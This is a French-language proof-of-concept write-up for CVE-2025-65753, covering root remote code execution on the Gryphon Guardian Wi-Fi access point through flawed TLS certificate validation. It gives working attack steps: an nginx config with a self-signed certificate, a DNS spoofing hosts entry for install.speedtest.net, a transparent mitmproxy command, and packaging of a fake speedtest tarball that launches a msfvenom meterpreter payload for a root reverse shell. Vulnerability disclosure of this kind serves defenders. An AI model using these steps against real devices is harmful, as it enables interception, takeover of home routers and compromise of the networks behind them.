
Preuve de concept d'exploit pour CVE-2025-65753 : exécution de code à distance sur le point d'accès Gryphon Guardian via une validation incorrecte des certificats TLS, permettant des attaques MitM et d'usurpation DNS.
Preuve de concept pour CVE-2025-65753 : Exécution de code à distance sur le point d'accès Gryphon Guardian, version de firmware 01.06.0006.22, due à une validation incorrecte du certificat TLS.
Le point d'accès WiFi Gryphon Guardian, avec la version de firmware 01.06.0006.22, ne valide pas correctement le certificat TLS d'un client de test de vitesse internet téléchargé après y avoir été invité via l'application. Cette faille permet à un attaquant d'intercepter et de manipuler la communication, en injectant au client un code malveillant qui est ensuite exécuté en tant que root par le point d'accès.
Il y a 2 façons d'exploiter cette vulnérabilité :
Pour les besoins de cette PoC, le trafic du point d'accès est routé via l'ordinateur de l'attaquant (essentiellement une attaque MitM), en pontant 2 interfaces réseau, comme le montre ce schéma.

Pour ce faire, tout en redirigeant le trafic TCP vers le port local 9900 pour analyse, j'ai utilisé mon propre outil : https://github.com/diegovargasj/bridge-interfaces

Ensuite, j'ai utilisé l'outil certmitm de aapooksman (https://github.com/aapooksman/certmitm) pour analyser les connexions TLS et déployer automatiquement plusieurs attaques afin de tester la validation du certificat. Cela révèle plusieurs failles sur plusieurs serveurs. Celle qui a retenu mon attention était le téléchargement du client speedtest depuis qui peut être intercepté avec un simple certificat auto-signé.

L'archive contient un ELF compilé pour ARM 32 bits, qui est clairement téléchargé, décompressé et exécuté par l'appareil.

L'appareil ne valide pas le certificat TLS pour l'authenticité, puisqu'il accepte volontiers un simple certificat auto-signé. Ainsi, en déployant un serveur HTTPS et en usurpant les réponses DNS pour install.speedtest.net, vous pouvez servir n'importe quel exécutable de votre choix. Pour ce faire, utilisez simplement la configuration nginx suivante :
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
Ensuite, ajoutez la ligne suivante à votre fichier /etc/hosts, pour usurper les réponses DNS via dnsmasq.
192.168.0.15 install.speedtest.net
Enfin, redémarrez le script bridge-interfaces.sh, tuez certmitm.py et exécutez mitmproxy :
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
Maintenant, nous avons seulement besoin de la charge utile. Puisque le point d'accès a Python installé, un simple script meterpreter suffira. Créez le script avec msfvenom :

Remplacez l'ELF original du client speedtest par un script bash pour appeler la charge utile :
python payload.py
Et empaquetez-le dans une archive tar, avec le chemin approprié pour qu'il corresponde à la requête web vers https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz :
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
Maintenant, nous configurons l'écouteur meterpreter. Après avoir appelé le test de vitesse depuis l'application Gryphon, nous obtenons le shell inversé en tant que root.

Et nous pouvons exécuter des commandes arbitraires dans le point d'accès.
